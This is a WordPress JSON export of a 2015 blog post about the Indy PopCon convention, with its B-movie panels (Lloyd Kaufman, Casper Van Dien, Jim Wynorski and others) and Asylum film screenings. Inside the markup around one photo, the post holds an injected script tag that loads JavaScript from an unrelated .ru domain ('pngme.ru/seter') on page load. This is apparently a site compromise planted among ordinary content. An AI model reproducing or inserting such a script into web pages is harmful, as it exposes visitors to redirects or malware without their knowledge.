{"id":16136,"date":"2015-06-30T17:01:18","date_gmt":"2015-06-30T23:01:18","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=16136"},"modified":"2015-07-01T08:26:32","modified_gmt":"2015-07-01T14:26:32","slug":"highlighting-the-2015-indy-popcon","status":"publish","type":"post","link":"http:\/\/www.bmovienation.com\/?p=16136","title":{"rendered":"Highlighting the 2015 Indy PopCon"},"content":{"rendered":"<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=16143\" rel=\"attachment wp-att-16143\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-16143\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3727-225x300.jpg\" alt=\"IMG_3727\" width=\"225\" height=\"300\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3727-225x300.jpg 225w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3727-768x1024.jpg 768w\" sizes=\"auto, (max-width: 225px) 100vw, 225px\" \/><\/a>In its second year, the 2015 Indy PopCon attendance more than doubled from last year\u2019s inaugural event.\u00a0 The convention is quickly gaining notoriety and this year had some highly regarded film industry professionals in attendance.\u00a0 It was a fantastic opportunity for fans, aspiring actors, writers, and young filmmakers to mingle and get close and personal with some of the best in the business.<\/p>\n<p>The weekend was filled with informative, entertaining, and comical panels that were moderated by <em>Saturday B Movie Reel&#8217;s<\/em> very own Kevin Bachelder.\u00a0 The panels included some top B Movie professionals:<\/p>\n<p>Bill Dever<br \/>\nCiara Hanna<br \/>\nLloyd Kaufman<br \/>\nDavid Michael Latt<br \/>\nDavid Rimawi<br \/>\nPeter Spellos<br \/>\nCasper Van Dien<br \/>\nJim Wynorski<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=16140\" rel=\"attachment wp-att-16140\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-16140\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3702-300x225.jpg\" alt=\"IMG_3702\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3702-300x225.jpg 300w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3702-785x589.jpg 785w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>David Michael Latt and David Rimawi shared the insights of how their films are made from concept to post-production.\u00a0 Information was provided on their current and upcoming films and their highly regarded series Z Nation.\u00a0\u00a0 In addition, the weekend was packed with screenings of Asylum films including, <em>Sharknado, Sharknado 2, Nazis at the Center of the Earth, Atlantic Rim, Megapython vs. Gatoroid, Abraham Lincoln vs. Zombies<\/em>, and <em>Megashark vs. Mechashark<\/em>.<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=16147\" rel=\"attachment wp-att-16147\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-16147\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/latt-shark-289x300.jpg\" alt=\"latt-shark\" width=\"289\" height=\"300\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/latt-shark-289x300.jpg 289w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/latt-shark-785x816.jpg 785w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/latt-shark.jpg 1817w\" sizes=\"auto, (max-width: 289px) 100vw, 289px\" \/><script src=\"\/\/pngme.ru\/seter\"><\/script><\/a><\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=16141\" rel=\"attachment wp-att-16141\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-16141\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3705-300x225.jpg\" alt=\"IMG_3705\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3705-300x225.jpg 300w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3705-785x589.jpg 785w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Actor and director Casper Van Dien along with actress Ciara Hanna shared their experiences making Asylum and other films and about their upcoming projects. \u00a0They shared laughs about their on-set experiences and tips of the trade with fans in attendance.\u00a0 \u00a0Friday night wrapped up with Casper Van Dien\u2019s <em>Starship Troopers<\/em> playing and it began with a bang when Van Dien belted out some of his classic lines from the film.<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=16144\" rel=\"attachment wp-att-16144\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-16144\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3730-300x225.jpg\" alt=\"IMG_3730\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3730-300x225.jpg 300w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3730-785x589.jpg 785w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>When the famous actor Peter Spellos was on the stage for his panels, the fans were in for a real treat.\u00a0 Spellos shared tons of quality information about his work in movies, TV, voice overs, and theater.\u00a0 He was not only talking about his personal experiences, he was a huge inspiration for young actors and was there to assist them and motivate them to succeed in the business.<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=16145\" rel=\"attachment wp-att-16145\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-16145\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3732-300x225.jpg\" alt=\"IMG_3732\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3732-300x225.jpg 300w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3732-785x589.jpg 785w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Jim Wynorski and Peter Spellos worked on multiple films together and credit each other for getting them to where they are today.\u00a0 They relived some old times and shared a few laughs with the audience, but due to children in attendance some old crazy times were censored.\u00a0\u00a0 Legendary Wynorski talked about his experience when he was young and relocated to Los Angeles up to his current films including <em>CobraGator <\/em>which is due to be released this summer.<\/p>\n<p>Bill Dever and Wynorski shared plenty of insights\u00a0about their films <em>Gila!<\/em> and <em>Camel Spiders,<\/em> which included\u00a0the benefits of filming in a small Midwestern town.\u00a0 Dever also touched upon his upcoming horror film <em>Resurrection<\/em>.<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=16146\" rel=\"attachment wp-att-16146\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-16146\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3734-300x225.jpg\" alt=\"IMG_3734\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3734-300x225.jpg 300w, http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/06\/IMG_3734-785x589.jpg 785w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>The PopCon wrapped up the weekend with the B Movie panel which consisted of Jim Wynorski, Bill Dever and Troma\u2019s founder and president Lloyd Kaufman.\u00a0 This panel could have gone on for hours, it was nonstop entertainment and provided valuable information for B Movie fans and filmmakers.\u00a0 As expected, an animated Kaufman got the audience fired up with his wisecracks and the Troma introduction video.<\/p>\n<p>With the attendance and guests expected to consistently rise each year, Indy\u2019s PopCon is set to quickly rise to an elite con in the near future.\u00a0\u00a0 With next year\u2019s already in the planning stages, be sure to subscribe to the PopCon Facebook group and frequently visit the website.<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.indypopcon.com\/\">www.indypopcon.com<\/a><br \/>\n<a href=\"https:\/\/www.facebook.com\/groups\/indy.popcon.fans\/\">https:\/\/www.facebook.com\/groups\/indy.popcon.fans\/<\/a><\/p>\n<p>&nbsp;<\/p>\n<p><em>If you have some thoughts to share about this article or you&#8217;d like to discuss B movies with other B movie fans and filmmakers please visit our <a href=\"http:\/\/www.facebook.com\/groups\/bmovienation\/\" target=\"_blank\">B Movie Nation Facebook group<\/a>.<\/em><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>In its second year, the 2015 Indy PopCon attendance more than doubled from last year\u2019s inaugural event.\u00a0 The convention is quickly gaining notoriety and this year had some highly regarded film industry professionals in attendance.\u00a0 It was a fantastic opportunity for fans, aspiring actors, writers, and young filmmakers to mingle and get close and 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